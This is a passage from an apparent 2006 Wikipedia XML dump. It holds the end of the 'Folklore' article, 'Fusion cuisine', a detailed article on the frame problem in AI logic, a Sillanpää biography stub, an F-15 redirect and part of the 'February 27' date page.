[[oral]] versions of tellings in specific contexts, rather than print sources, which often show the work or bias of the [[writer]] or [[editor]].

Contemporary folklore common in the Western world includes the [[urban legend]] and the [[conspiracy theory]]. There are many forms of folklore that are so common, however, that most people do not consider them to be folklore, such as [[riddle]]s, children's [[rhymes]] and [[ghost stories]], [[rumor]]s, [[gossip]], ethnic [[stereotype]]s, and [[holiday]] customs and [[life-cycle rituals]].  [[UFO abduction]] narratives can be seen, in some sense, to refigure the tales of pre-Christian [[Europe]], or even such tales in the [[Bible]] as the Ascent of Elijah to heaven. [[Adrienne Mayor]], in introducing a bibliography on the topic, noted that most modern folklorists are largely unaware of classical parallels and precedents, in materials that are only partly represented by the familiar designation ''[[Aesopica]]'': &quot;Ancient Greek and Roman literature contains rich troves of folklore and popular beliefs, many of which have counterparts in modern contemporary legends&quot; (Mayor, 2000).

==Categories of folklore==
*[[Genres]]
**[[Ballad]]
**[[Blason Populaire]]
**[[Counting rhyme]]s
**[[Costumbrista]]
**[[Custom]]
**[[Folk play]]
**[[Epic poetry]]
**[[Festival]]
**[[Folk speech]]
**[[Folk art]]
**[[Folk belief]]
**Folk [[metaphor]]
**[[Folk poetry]] and [[rhyme]]
**Folk [[simile]]
**[[Folk song]]
**Folk tale
***[[Animal tale]]
***[[Fairy tale]]
***[[Jocular tale]]
**[[Games]]
**[[Holiday lore]] and customs
**[[Joke]]
**[[Legend]]
***[[Urban legend|Urban (or Contemporary) legend]]
**[[Material culture]]
**[[Mythology|Myth]]
**[[Memorate]]
**[[Proverb]]
**[[Riddle]]
**[[Superstition]] and [[popular belief]]
**[[Taunts]]
**[[Xerox lore]]

*National or ethnic (see [[romantic nationalism]])
**[[African-American folklore]]
**[[Albanian folklore]]
**[[Arab folklore]]
**[[Paganism in the Eastern Alps|Austrian folklore]]
**[[American folklore]]
**[[Australian folklore]]
**[[Brazilian folklore]]
**[[Chinese folklore]]
**[[English folklore]]
**[[Finnish folklore]]
**[[German folklore]]
**[[Indian folklore]]
**[[Irish mythology|Irish folklore]]
**[[Jewish folklore]], which incorporates the [[Aggadah]]
**[[Japanese mythology|Japanese folklore]]
**[[Korean folklore]]
**[[Kosovar folklore]]
**[[Mexican folklore]]
**[[Native American folklore]] 
**[[Olrig|Olrig folklore]]
**[[Pakistani folklore]]
**[[Philippine folklore]]
**[[Russian folklore]]
**[[Scandinavian folklore]]
**[[Scottish mythology|Scottish folklore]]
**[[Slavic folklore]]
**[[Swiss folklore]]
**[[Turkish folklore]]
**[[Laz folklore]]

==See also==

*[[Applied folklore]]
*[[Public folklore]]
*[[Chinook wind#Chinooks_and_tall_tales_(folklore)|Chinook wind]], section ''Chinooks and tall tales''.

==Other usages==

In [[mathematics]] and some related disciplines, the term ''folklore'' is used to refer to any result in a field of 
study which is widely known by practioners of that field, but considered too trivial or unoriginal to be worth publishing by itself in the research literature.  Such results often have to wait for a new textbook on the subject, or a survey article, before they appear in print.

== External links: North America ==

*[http://www.afsnet.org American Folklore Society]
*[http://www.loc.gov/folklife American Folklife Center]
*[http://www.westernfolklore.org/ Western States Folklore Society]
*[http://www.fl.ulaval.ca/celat/acef/ Folklore Studies Association of Canada]
*[http://www.indiana.edu/~folklore/ Indiana University's Folklore Program]
*[http://ls.berkeley.edu/dept/folklore/ Folklore Program at the University of California at Berkeley]
*[http://www.mun.ca/folklore Memorial University of Newfoundland's Folklore Program]
*[http://www.wku.edu/folkstudies/ Folklore Program at Western Kentucky University]
*[http://english.usu.edu/Document/index.asp?Parent=563 Folklore Program at Utah State University]
*[http://darkwing.uoregon.edu/~flr/ University of Oregon's Folklore Program]
*[http://www.unc.edu/depts/folklore/ Folklore Program at the University of North Carolina]
*[http://www.wac.ucla.edu/degrees.php World Arts and Cultures Program of the University of California at Los Angeles]
*[http://www.folkstreams.net/ Folkstreams.net-video streaming films on American traditional culture and folklife]

==For further reading==
*[http://www.worldagesarchive.com/Reference_Links/Myth_Bibliograpgy.htm Adrienne  Mayor, &quot;Bibliography of Classical Folklore Scholarship: Myths, Legends, and Popular Beliefs of Ancient Greece and Rome&quot;], from ''Folklore'' (April 2000)


[[Category:Folklore| ]]

[[ar:فلكلور]]
[[bg:&amp;#1060;&amp;#1086;&amp;#1083;&amp;#1082;&amp;#1083;&amp;#1086;&amp;#1088;]]
[[ca:Cultura popular]]
[[da:Folkeminde]]
[[de:Folklore]]
[[el:Λαογραφία]]
[[et:Folkloor]]
[[es:Folclore]]
[[fr:Folklore]]
[[he:&amp;#1508;&amp;#1493;&amp;#1500;&amp;#1511;&amp;#1500;&amp;#1493;&amp;#1512;]]
[[ja:&amp;#27665;&amp;#20439;&amp;#23398;]]
[[nl:Folklore]]
[[pt:Folclore]]
[[ru:Фольклор]]
[[fi:Kansanrunous]]
[[sk:Folklór]]
[[sv:Folklore]]
[[uk:Фольклор]]
[[zh:&amp;#27665;&amp;#20439;&amp;#23398;]]</text>
    </revision>
  </page>
  <page>
    <title>Fusion cuisine</title>
    <id>11304</id>
    <revision>
      <id>33672105</id>
      <timestamp>2006-01-03T01:56:15Z</timestamp>
      <contributor>
        <username>Kucing</username>
        <id>22944</id>
      </contributor>
      <minor />
      <comment>Formatting heading</comment>
      <text xml:space="preserve">'''Fusion cuisine''' combines elements of various [[cuisine|culinary traditions]] while not fitting specifically into any.  The term generally refers to the innovations in many contemporary restaurant cuisines since the [[1970s]].

This type of restaurant's success depends on a number of factors.  Among these are:
* Clientele's (or prospective clientele's) cultural [[diversity]]
* Clientele's [[travel]] patterns and experiences.
* Clientele's culinary sophistication and openness to new eating experiences.

These factors have made this type of cuisine accepted and popular in places like [[California cuisine|California]] and in large [[metropolitan area|metropolitan areas]]. California [[Chef]] [[Wolfgang Puck]] is one of the pioneers of fusion cuisine.

A menu sampling from menu of an [[United States|American]]-[[Europe|European]]-[[Japan|Japanese]] restaurant in California might include the following items:
* [[Sake]] [[cocktail|cocktails]]
* Salad with crisp [[nori]] topping, and a [[miso]]-[[cilantro]] vinaigrette  dressing
* [[Rock shrimp]] dumplings
* [[Eel]], [[lettuce]] and [[tomato]] [[sushi]] handroll
* Poached [[tofu]]

==See also==
* [[Tex-Mex cuisine]]
* [[California cuisine]]

[[Category:Cuisine]]

[[he:פיוז'ן (בישול)]]</text>
    </revision>
  </page>
  <page>
    <title>Frame problem</title>
    <id>11306</id>
    <revision>
      <id>37004578</id>
      <timestamp>2006-01-27T22:36:07Z</timestamp>
      <contributor>
        <username>Charles Matthews</username>
        <id>12978</id>
      </contributor>
      <minor />
      <comment>sp</comment>
      <text xml:space="preserve">In [[artificial intelligence]], the '''frame problem''' was initially formulated as the problem of expressing a dynamical domain in [[logic]] without explicitly specifying which conditions ''are not'' affected by an action. [[John McCarthy (computer scientist)|John McCarthy]] and [[Patrick J. Hayes]] defined this problem in their [[1969]] article, ''Some Philosophical Problems from the Standpoint of Artificial Intelligence''. Later, the term acquired a broader meaning in [[philosophy]], where it is formulated as the problem of limiting the beliefs that have to be updated in response to actions.

The name &amp;ldquo;frame problem&amp;rdquo; derives from a common technique used by [[animated cartoon]] makers called [[traditional animation|framing]] where the currently moving parts of the cartoon are superimposed on the &amp;ldquo;frame&amp;rdquo;, which depicts the background of the scene, which does not change. In the logical context, actions are typically specified by what they change, with the implicit assumption that everything else (the frame) remain unchanged.

==The frame problem in artificial intelligence==

The frame problem occurs even in very simple domains. A scenario with a door, which can be open or closed, and a light, which can be on or off, is statically represented by two [[proposition]]s ''open'' and ''on''. If these conditions can change, they are better represented by two [[predicate]]s ''open(t)'' and ''on(t)'' that depend on time; such predicates are called [[fluent (artificial intelligence)|fluent]]s. A domain in which the door is closed, the light is off, and the door is opened at time 0, can be directly represented in logic by the following formulae:

:&lt;math&gt;\neg open(0)&lt;/math&gt;
:&lt;math&gt;\neg on(0)&lt;/math&gt;
:&lt;math&gt;true \rightarrow open(1)&lt;/math&gt;

The first two formulae represent the initial situation; the third formula represents the effect of executing the action of opening the door at time 0. If such an action had preconditions, such as the door must not be locked, it would have been represented by &lt;math&gt;\neg locked(0) \rightarrow open(1)&lt;/math&gt;; this is not needed for this exposition. This is a simplified formalization in which the effects of actions are specified directly in the time points in which the actions are executed. In practice, one would have a predicate &lt;math&gt;execute\_open(t)&lt;/math&gt; for specifying when an action is executed and a rule &lt;math&gt;\forall t . execute\_open(t) \wedge true \rightarrow open(t+1)&lt;/math&gt; for specifying the effects of actions; this is also not needed for this exposition (the article on the [[situation calculus]] gives more details.)

While the three formulae above are a direct expression in logic of what is known, they do not suffice to correctly draw consequences. While the following conditions (representing the expected situation) are consistent with the three formulae above, they are not the only ones.

:{|
| &lt;math&gt;\neg open(0)&lt;/math&gt; || &lt;math&gt;open(1)&lt;/math&gt;
|-
| &lt;math&gt;\neg on(0)&lt;/math&gt;   || &lt;math&gt;\neg on(1)&lt;/math&gt;
|}

Indeed, another set of conditions that is consistent with the three formulae above is:

:{|
| &lt;math&gt;\neg open(0)&lt;/math&gt; || &lt;math&gt;open(1)&lt;/math&gt;
|-
| &lt;math&gt;\neg on(0)&lt;/math&gt;   || &lt;math&gt;on(1)&lt;/math&gt;
|}

The frame problem is that specifying only which conditions are changed by the actions do not allow, in logic, to conclude that all other conditions are not changed. This problem can be solved by adding the so-called &amp;ldquo;frame axioms&amp;rdquo;, which explicitly specify that all conditions not affected by an actions are not changed while executing that action. For example, since the action executed at time 0 is that of opening the door, a frame axiom would state that the status of the light do not change from time 0 to time 1:

:&lt;math&gt;on(0) \equiv on(1)&lt;/math&gt;

The frame problem is that these one such frame axiom is necessary for every pair of action and condition such that the action do not affect the condition. In other words, the problem is that of formalizing a dynamical domain without explicitly specifying the frame axioms.

The solution proposed by McCarthy to solve this problem involves assuming that a minimal amount of condition changes have occurred; this solution is formalized using the framework of [[circumscription]]. The [[Yale shooting problem]], however, shows that this solution is not always correct. Alternative solutions were then proposed, involving [[predicate completion]], [[fluent occlusion]], [[successor state axiom]]s, etc. By the end of the [[1980s]], the frame problem as defined by McCarthy and Hayes was solved. Even after that, however, the term &amp;ldquo;frame problem&amp;rdquo; was still used, in part to refer to the same problem but under different settings (e.g., concurrent actions), and in part to refer to the general problem of representing and reasoning with dynamical domains.

== Solutions to the frame problem ==

In the following, how the frame problem is solved in various formalisms is shown. The formalisms themselves are not presented in full: what is presented are simplified versions that are however sufficient to show how the frame problem is solved.

===The fluent occlusion solution===

This solution was proposed by [[Erik Sandewall]], who also defined a [[formal language]] for the specification of dynamical domains; therefore, such a domain can be first expressed in this language and then automatically translated into logic. In this article, only the expression in logic is shown, and only in the simplified language with no action names.

The rationale of this solution is to represent not only the value of conditions over time, but also whether they can be affected by the last executed action. The latter is represented by another condition, called occlusion. A condition is said to be ''occluded'' in a given time point if an action has been just executed that makes the condition true or false as an effect. Occlusion can be view as &amp;ldquo;permission to change&amp;rdquo;: if a condition is occluded, it is relieved from obeying the constraint of inertia.

In the simplified example of the door and the light, occlusion can be formalized by two predicates &lt;math&gt;occlude\_open(t)&lt;/math&gt; and &lt;math&gt;occlude\_on(t)&lt;/math&gt;. The rationale is that a condition can change value only if the corresponding occlusion predicate is true at the next time point. In turn, the occlusion predidate is true only when an action affecting the condition is executed.

:&lt;math&gt;\neg open(0)&lt;/math&gt;
:&lt;math&gt;\neg on(0)&lt;/math&gt;
:&lt;math&gt;true \rightarrow open(1) \wedge occlude\_open(1)&lt;/math&gt;
:&lt;math&gt;\forall t . (\neg occlude\_open(t)) \rightarrow 
(open(t-1) \equiv open(t))&lt;/math&gt;
:&lt;math&gt;\forall t . (\neg occlude\_on(t)) \rightarrow (on(t-1) \equiv on(t))&lt;/math&gt;

In general, every action making a condition true or false also makes the corresponding occlusion predicate true. In this case, &lt;math&gt;occlude\_open(1)&lt;/math&gt; is true, making the antecedent of the fourth formula above false for &lt;math&gt;t=1&lt;/math&gt;; therefore, the constraint that &lt;math&gt;open(t-1) \equiv open(t)&lt;/math&gt; does not hold for &lt;math&gt;t=1&lt;/math&gt;. Therefore, &lt;math&gt;open&lt;/math&gt; can change value, which is also what enforced by the third formula.

In order for this condition to work, occlusion predicates have to be true only when they are made true as an effect of an action. This can be achieved either by [[circumscription]] or by [[predicate completion]]. It is worth noticing that occlusion does not necessarily imply a change: for example, executing the action of opening the door when it was already open (in the formalization above) makes the predicate &lt;math&gt;occlude\_open&lt;/math&gt; true and makes &lt;math&gt;open&lt;/math&gt; true; however, &lt;math&gt;open&lt;/math&gt; has not changed value, as it was true already.

===The predicate completion solution===

This encoding is similar to the fluent occlusion solution, but the additional predicates denote change, not permission to change. For example, &lt;math&gt;change\_open(t)&lt;/math&gt; represents the fact that the predicate &lt;math&gt;open&lt;/math&gt; will change from time &lt;math&gt;t&lt;/math&gt; to &lt;math&gt;t+1&lt;/math&gt;. As a result, a predicate changes if and only if the corresponding change predicate is true. An action results in a change if and only if it makes true a condition that was previously false or vice versa.

:&lt;math&gt;\neg open(0)&lt;/math&gt;
:&lt;math&gt;\neg on(0)&lt;/math&gt;
:&lt;math&gt;\neg open(0) \wedge true \rightarrow change\_open(0)&lt;/math&gt;
:&lt;math&gt;\forall t.change\_open(t) \equiv(open(t) \not\equiv open(t+1))&lt;/math&gt;
:&lt;math&gt;\forall t . change\_on(t) \equiv(on(t) \not\equiv on(t+1))&lt;/math&gt;

The third formula is a different way of saying that opening the door causes the door to be opened. Precisely, it states that opening the door changes the state of the door if it was previously closed. The last two conditions state that a condition changes value at time &lt;math&gt;t&lt;/math&gt; if and only if the corresponding change predicate is true at time &lt;math&gt;t&lt;/math&gt;. To complete the solution, the time points in which the change predicates are true have to be as few as possible, and this can be done by applying predicate completion to the rules specifying the effects of actions.

===The successor state axioms solution===

The value of a condition after the execution of an action can be determined by
the fact that the condition is true if and only if:

# the action makes the condition true;
# the action was previously true and the action does not make it false.

A [[successor state axiom]] is a formalization in logic of these two facts. For
example, if &lt;math&gt;open\_door(t)&lt;/math&gt; and &lt;math&gt;close\_door(t)&lt;/math&gt; are two
conditions used to denote that the action executed at time &lt;math&gt;t&lt;/math&gt; was
to open or close the door, respectively, the running example is encoded as
follows.

: &lt;math&gt;\neg open(0)&lt;/math&gt;
: &lt;math&gt;\neg on(0)&lt;/math&gt;
: &lt;math&gt;open\_door(0)&lt;/math&gt;
: &lt;math&gt;\forall t . open(t+1) \equiv open\_door(0) \vee (open(t) \wedge \neg close\_door(t))&lt;/math&gt;

This solution is centered around the value of conditions, rather than the
effects of actions. In other words, there is an axiom for every condition,
rather than a formula for every action. Preconditions to actions (which are not
present in this example) are formalized by other formulae. The successor state
axioms are used in the variant to the [[situation calculus]] proposed by
[[Ray Reiter]].

===The fluent calculus solution===

The [[fluent calculus]] solves the frame problem by using first-order logic
[[term]]s, rather than predicates, to represent the states. Converting
predicates into terms in first order logic is called [[reification]]; the
fluent calculus can be seen as a logic in which predicates representing the
state of conditions are reified.

The difference between a predicate and a term in first order logic is that a term is a representation of an object (possibly a complex object composed of other objects), while a predicate represent a condition that can be true or false when evaluated over a given set of terms. 

In the fluent calculus, each possible state is represented by a term obtained by composition of other terms, each one representing the conditions that are true in state. For example, the state in which the door is open and the light is on is represented by the term &lt;math&gt;open \circ on&lt;/math&gt;. It is important to notice that a term is not true or false by itself, as it is an object and not a condition. In other words, the term &lt;math&gt;open \circ on&lt;/math&gt; represent a possible state, and does not by itself mean that this is the current state. A separate condition can be stated to specify that this is actually the state at a given time, e.g., &lt;math&gt;state(open \circ on, 10)&lt;/math&gt; means that this is the state at time &lt;math&gt;10&lt;/math&gt;.

The solution to the frame problem given in the fluent calculus is to specify the effects of actions by stating how a term representing the state changes when the action is executed. For example, the action of opening the door at time 0 is represented by the formula:

: &lt;math&gt;state(s \circ open, 1) \equiv state(s,0)&lt;/math&gt;

The action of closing the door, which makes a condition false instead of true, is represented in a slightly different way:

: &lt;math&gt;state(s, 1) \equiv state(s \circ open, 0)&lt;/math&gt;

This formula works provided that suitable axioms are given about &lt;math&gt;state&lt;/math&gt; and &lt;math&gt;\circ&lt;/math&gt;, e.g., a term containing two times the same condition is not a valid state (for example, &lt;math&gt;state(open \circ s \circ open, t)&lt;/math&gt; is always false for every &lt;math&gt;s&lt;/math&gt; and &lt;math&gt;t&lt;/math&gt;).

===The event calculus solution===

The [[event calculus]] uses terms for representing fluents, like the fluent calculus, but also has axioms constraining the value of fluents, like the successor state axioms. In the event calculus, inertia is enforced by formulae stating that a fluent is true if it has been true at a given previous time point and no action changing it to false has been performed in the meantime. Predicate completion is still needed in the fluent calculus for obtaining that a fluent is made true only if an action making it true has been performed, but also for obtaining that an action had been performed only if that is explicitly stated.

===Action description languages===

[[Action description language]]s elude the frame problem rather than solving it. An action description language is a formal language with a syntax that is specific for describing situations and actions. For example, that the action &lt;math&gt;open\_door&lt;/math&gt; makes the door open if not locked is expressed by:

: &lt;math&gt;open\_door&lt;/math&gt; causes &lt;math&gt;open&lt;/math&gt; if &lt;math&gt;\neg locked&lt;/math&gt;

The semantics of an action description language depends on what the language can express (concurrent actions, delayed effects, etc.) and is usually based on [[transition system]]s.

Since domains are expressed in these languages rather than directly in logic, the frame problem only arises when a specification given in an action description logic is to be translated into logic. Typically, however, a translation is given from these languages to [[answer set programming]] rather than first-order logic.

==Related problems==

According to J. van Brakel, some other problems that are related to, or more specific versions of, the frame problem include the following:

* [[extended prediction problem]]
* [[holism problem]]
* [[inertia problem]]
* [[installation problem]]
* [[planning problem]]
* [[persistence problem]]
* [[qualification problem]]
* [[ramification problem]]
* [[relevance problem]]
* [[temporal projection problem]]

==The frame problem in philosophy==
{{main|frame problem (philosophy)}}
In philosophy, the frame problem is about rationality in general, rather than
formal logic in particular. The frame problem in philosophy is therefore the
problem of how a rational agent bounds the set of beliefs to change when an
action is performed.

==See also==

* [[Circumscription]]
* [[Common sense]]
* [[Default logic]]
* [[Defeasible reasoning]]
* [[Event calculus]]
* [[Fluent calculus]]
* [[Non-monotonic logic]]
* [[Situation calculus]]

==References==

* P. Doherty, J. Gustafsson, L. Karlsson, and J. Kvarnstr&amp;ouml;m (1998). [http://www.ep.liu.se/ej/etai/1998/009 TAL: Temporal action logics language specification and tutorial]. ''Electronic Transactions on Artificial Intelligence'', 2(3-4):273-306.

* M. Gelfond and V. Lifschitz (1993). Representing action and change by logic programs. ''Journal of Logic Programming'', 17:301-322.

* M. Gelfond and V. Lifschitz (1998). [http://www.ep.liu.se/ej/etai/1998/007 Action languages]. ''Electronic Transactions on Artificial Intelligence'', 2(3-4):193-210.

* S. Hanks and D. McDermott (1987). Nonmonotonic logic and temporal projection. ''Artificial Intelligence'', 33(3):379-412.

* H. Levesque, F. Pirri, and R. Reiter (1998). [http://www.ep.liu.se/ej/etai/1998/005 Foundations for the situation calculus]. ''Electronic Transactions on Artificial Intelligence'', 2(3-4):159-178.

* P. Liberatore (1997). [http://www.ep.liu.se/ej/etai/1997/002 The complexity of the language A]. ''Electronic Transactions on Artificial Intelligence'', 1(1-3):13-37.

* J. McCarthy (1986). [http://www-formal.stanford.edu/jmc/applications.html Applications of circumscription to formalizing common-sense knowledge]. ''Artificial Intelligence'', 28:89-116.

* J. McCarthy and P. J. Hayes (1969). [http://www-formal.stanford.edu/jmc/mcchay69.html Some philosophical problems from the standpoint of artificial intelligence]. ''Machine Intelligence'', 4:463-502.

* R. Miller and M. Shanahan (1999). [http://www.ida.liu.se/ext/epa/ej/etai/1999/016/epapage.html The event-calculus in classical logic - alternative axiomatizations]. ''Electronic Transactions on Artificial Intelligence'', 3(1):77-105.

* R. Reiter (1991). The frame problem in the situation calculus: a simple solution (sometimes) and a completeness result for goal regression. In Vladimir Lifschitz, editor, ''Artificial Intelligence and Mathematical Theory of Computation: Papers in Honor of John McCarthy'', pages 359-380. Academic Press, New York.

* E. Sandewall (1994). ''Features and Fluents''. Oxford University Press.

* E. Sandewall (1998). [http://www.ep.liu.se/ej/etai/1998/010 Cognitive robotics logic and its metatheory: Features and fluents revisited]. ''Electronic Transactions on Artificial Intelligence'', 2(3-4):307-329.

* M. Thielscher (1998). [http://www.ep.liu.se/ej/etai/1998/006 Introduction to the fluent calculus]. ''Electronic Transactions on Artificial Intelligence'', 2(3-4):179-192.

==External links==
* [http://plato.stanford.edu/entries/frame-problem/ The Frame Problem] at the Stanford Encyclopaedia of Philosophy.
* [http://www-formal.stanford.edu/jmc/mcchay69/mcchay69.html Some Philosophical Problems from the Standpoint of Artificial Intelligence]; the original article of McCarthy and Hayes that proposed the problem.
* [http://www.iis.ee.ic.ac.uk/~mpsha/roboticsECAI96.pdf Robotics and the common sense informatic situation] presents solution to the frame problem

[[Category:Knowledge representation]]
[[Category:Epistemology]]

[[ja:&amp;#12501;&amp;#12524;&amp;#12540;&amp;#12512;&amp;#21839;&amp;#38988;]]</text>
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  <page>
    <title>Frans Eemil Sillanpää</title>
    <id>11307</id>
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      <minor />
      <comment>robot  Adding: he</comment>
      <text xml:space="preserve">'''Frans Eemil Sillanpää''' ([[September 16]] [[1888]] &amp;ndash; [[June 3]] [[1964]]) was one of the most famous [[Finland|Finnish]] writers. 

He was awarded the [[Nobel Prize]] in Literature in [[1939]]: ''for his deep understanding of his country's peasantry and the exquisite art with which he has portrayed their way of life and their relationship with Nature''.

Frans Eemil Sillanpää was born into a peasant family in [[Hämeenkyrö]]. Although his parents were poor, they managed to send him to school in [[Tampere]]. In [[1908]] he moved to [[Helsinki]] to study medicine. Here his acquaintances included the painter [[Eero Järnefelt]], [[Jean Sibelius]], [[Juhani Aho]] and [[Pekka Halonen]]. 

In [[1913]] Sillanpää moved from Helsinki to his old home village and devoted himself to writing. 

He won international fame for his novel ''Nuorena nukkunut'' (''The Maid Silja''/''Fallen Asleep While Young'') in [[1931]].

The [[asteroid]] [[1446 Sillanpaa]], discovered by the renowned Finnish astronomer and physicist [[Yrjö Väisälä]], was named after him.

{{start box}}
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[[Category:1888 births|Sillanpää, Frans Eemil]]
[[Category:1964 deaths|Sillanpää, Frans Eemil]]
[[Category:Finnish writers|Sillanpää, Frans Eemil]]
[[Category:Finnish Nobel Prize winners|Sillanpää, Frans Eemil]]
[[Category:Nobel Prize in Literature winners|Sillanpää, Frans Eemil]]
{{Finland-writer-stub}}

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    <title>F-15</title>
    <id>11308</id>
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      <text xml:space="preserve">#REDIRECT [[F-15 Eagle]]
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  <page>
    <title>February 27</title>
    <id>11310</id>
    <revision>
      <id>42130682</id>
      <timestamp>2006-03-04T00:47:38Z</timestamp>
      <contributor>
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      <comment>rv nop-noteable</comment>
      <text xml:space="preserve">{| style=&quot;float:right;&quot;
|- 
|{{FebruaryCalendar}}
|-
|{{ThisDateInRecentYears|Month=February|Day=27}}
|}
'''February 27''' is the 58th day of the year in the [[Gregorian Calendar]]. There are 307 days remaining, 308 in [[leap year]]s.
==Events==
*[[1560]] - The [[Treaty of Berwick]], which would expel the [[French]] from [[Scotland]], is signed by [[England]] and the Congregation of [[Scotland]].
*[[1594]] - [[Henry IV of France|Henry IV]] is crowned [[King]] of [[France]].
*[[1617]] - [[Sweden]] and [[Russia]] sign the [[Treaty of Stolbovo]], ending the [[Ingrian War]] and shutting [[Russia]] out of the [[Baltic Sea]].
*[[1700]] - The island of [[New Britain]] is discovered.
*[[1703]] - The first [[Mardi Gras]] is celebrated in [[Mobile, Alabama]].
*[[1793]] - The [[Giles resolutions]] are introduced to the [[United States House of Representatives]] asking the House to condemn [[Alexander Hamilton]]'s handling of loans.
*[[1801]] - [[Washington, DC]] is placed under the jurisdiction of the [[Congress of the United States|U.S. Congress]].
*[[1812]] - Poet [[George Gordon Byron, 6th Baron Byron|Lord Byron]] gives his first address as a member of the [[House of Lords]], in defense of [[Luddite]] violence against [[Industrialism]] in his home county of [[Nottinghamshire]].
*[[1827]] - The first Mardi Gras is celebrated in [[New Orleans, Louisiana]].
*[[1844]] - The [[Dominican Republic]] gains independence from [[Haiti]].
*[[1860]] - [[Abraham Lincoln]] makes a speech at [[Cooper Union]] in the city of [[New York City|New York]] that was largely responsible for his election to the [[United States President | Presidency]].
*[[1861]] - A crowd in [[Warsaw]] protesting [[Russia]]n rule over [[Poland]] is fired upon by [[Russian]] troops, killing five protesters.
*[[1864]] - [[American Civil War]]: The first [[Northern]] prisoners arrive at the [[Confederate States of America|Confederate]] prison at [[Andersonville, Georgia]].
*[[1879]] - Announcement of the discovery of artificial sweetener [[saccharin]].
*[[1900]] - [[Second Boer War]]: In [[South Africa]], [[United Kingdom|British]] military leaders receive an unconditional notice of surrender from [[Boer]] [[General]] [[Piet Cronje]] at the [[Battle of Paardeberg]].
*1900 - The [[Labour Party (UK)|British Labour Party]] is founded.
*1900 - The [[FC Bayern München]] ([[Munich]]) is founded.
*[[1921]] - The [[International Working Union of Socialist Parties]] is founded in [[Vienna]].
*[[1922]] - A challenge to the [[Nineteenth Amendment to the United States Constitution]], allowing women the right to [[vote]], is rebuffed by the [[Supreme Court of the United States]].
*[[1933]] - [[Reichstag fire]]: [[Germany]]'s parliament building in [[Berlin]], the [[Reichstag (building)|Reichstag]], is set on fire.
*[[1939]] - [[American Civil Rights Movement]]: Sit-down [[Strike action|strike]]s are outlawed by the [[Supreme Court of the United States]].
*[[1942]] - [[World War II]]: the [[USS Langley|USS Langley]], the first [[United States]] [[aircraft carrier]], is sunk by [[Japan]]ese warplanes.
*[[1943]] - The [[Smith Mine disaster|Smith Mine #3]] in [[Bearcreek, Montana|Bearcreek]], [[Montana]], [[United States]] explodes, killing 74 men.
*[[1948]] - The [[Communist Party]] takes control of government in [[Czechoslovakia]].
*[[1951]] - The [[Twenty-second Amendment to the United States Constitution]], limiting [[President of the United States|Presidents]] to two terms, is ratified.
*[[1961]] - The first congress of the [[Spanish Trade Union Organisation]] is inaugurated.
*[[1963]] - The [[Dominican Republic]] receives its first democratically elected [[president]], [[Juan Bosch]], since the end of the dictatorship led by [[Rafael Trujillo]].
*[[1964]] - The government of [[Italy]] asks for help to keep the [[Leaning Tower of Pisa]] from toppling over.
*[[1967]] - [[Dominica]] gains independence from the [[United Kingdom]].
*[[1971]] - Doctors in the first [[The Netherlands|Dutch]] [[abortion clinic]] (the [[Mildredhuis]] in [[Arnhem]]) start to perform [[abortus provocatus ]].
*[[1973]] - The [[American Indian Movement]] occupies [[Wounded Knee, South Dakota]].  
*[[1974]] - [[People (magazine)|People]] [[magazine]] is published for the first time.  
*[[1976]] - The formerly [[Spanish]] territory of [[Western Sahara]], under the auspices of the [[Polisario Front]] declares independence as the [[Sahrawi Arab Democratic Republic]].
*[[1986]] - The [[United States Senate]] allows its debates to be [[television|televised]] on a trial basis.  
*[[1989]] - [[Venezuela]] is rocked by the [[Caracazo]].  
*[[1990]] - [[Exxon Valdez oil spill]]: [[Exxon]] and its shipping company are indicted on five criminal counts.  
*[[1991]] - [[Gulf War]]: [[U.S.]] [[President]] [[George H. W. Bush]] announces that &quot;[[Kuwait]] is liberated.&quot; 
*[[1999]] - While trying to circumnavigate the world in a [[hot air balloon]], [[Colin Prescot]] and [[Andy Elson]] set a new endurance record after being in a hot air balloon for 233 hours and 55 minutes.  
*1999 - [[Olusegun Obasanjo]] becomes [[Nigeria]]'s first elected president since mid-[[1983]].
*[[2002]] - [[Ryanair Flight 296]] catches fire in [[London Stansted Airport]]. Subsequent investigations criticize [[Ryanair]]'s handling of the evacuation.
*2002 - [[2002 Gujarat violence]]: a train catches fire a few minutes after it leaves the [[Godhra]] railway station, killing an estimated 58 [[Hindu]] pilgrims returning from [[Ayodhya]] and triggering riots that lead to the death of 1000 people, mostly [[Muslim]]s.
*[[2003]] - [[Rowan Williams]] is enthroned as the 104th [[Archbishop of Canterbury]] in the [[Anglican]] [[church]].
*[[2004]] - A bombing of a [[Superferry 14|Superferry]] by [[Abu Sayyaf]] in the [[Philippines]] kills 116, its worst terrorist attack.
*2004 - Former [[Barbuda People's Movement for Change|BPMC]] general secretary [[Ordrick Samuel]] launches a new party in [[Barbuda]], [[Barbudans for a Better Barbuda]].
*[[2005]] - Pre-pay price capping on the [[Transport for London]] [[Oyster card]] is introduced.

==Births==
*   [[272]]  - [[Constantine I]], Roman emperor
*[[1691]] - [[Edward Cave]], English editor and publisher (d. [[1754]])
*[[1807]] - [[Henry Wadsworth Longfellow]], American poet (d. [[1882]])
*[[1861]] - [[Rudolf Steiner]], Austrian philosopher (d. [[1925]])
*[[1886]] - [[Hugo Black]], U.S. Supreme Court Justice (d. [[1971]])
*[[1888]] - [[Lotte Lehmann]], German singer (d. [[1976]])
*1888 - [[Roberto Assagioli]], Italian psychiatrist (d. [[1974]])
*[[1890]] - [[Freddie Keppard]], American jazz musician (d. [[1933]])
*[[1891]] - [[David Sarnoff]], Russian-born broadcasting pioneer (d. [[1971]])
*[[1892]] - [[William Demarest]], American actor (d. [[1983]])
*[[1897]] - [[Marian Anderson]], American contralto (d. [[1993]])
*[[1899]] - [[Charles Best]], American medical scientist (d. [[1978]])
*[[1902]] - [[Gene Sarazen]], American golfer (d. [[1999]])
*[[1902]] - [[John Steinbeck]], American writer, [[Nobel Prize in Literature|Nobel Prize]] laureate (d. [[1968]])
*[[1903]] - [[Grethe Weiser]], actress (d. [[1970]])
*[[1904]] - [[James T. Farrell]], American writer (d. [[1979]])
*[[1904]] - [[Yulii Borisovich Khariton]], Russian physicist (d. [[1996]])
*[[1905]] - [[Franchot Tone]], American actor (d. [[1968]])
*[[1907]] - [[Mildred Bailey]], American singer (d. [[1951]])
*[[1910]] - [[Joan Bennett]], American actress (d. [[1990]])
*[[1910]] - [[Peter De Vries]], American writer (d. [[1993]])
*[[1910]] - [[Kelly Johnson]], American aircraft engineer (d. [[1990]])
*[[1912]] - [[Lawrence Durrell]], British writer (d. [[1990]])
*[[1913]] - [[Irwin Shaw]], American writer (d. [[1984]])
*[[1917]] - [[John Connally]], Governor of Texas (d. [[1993]])
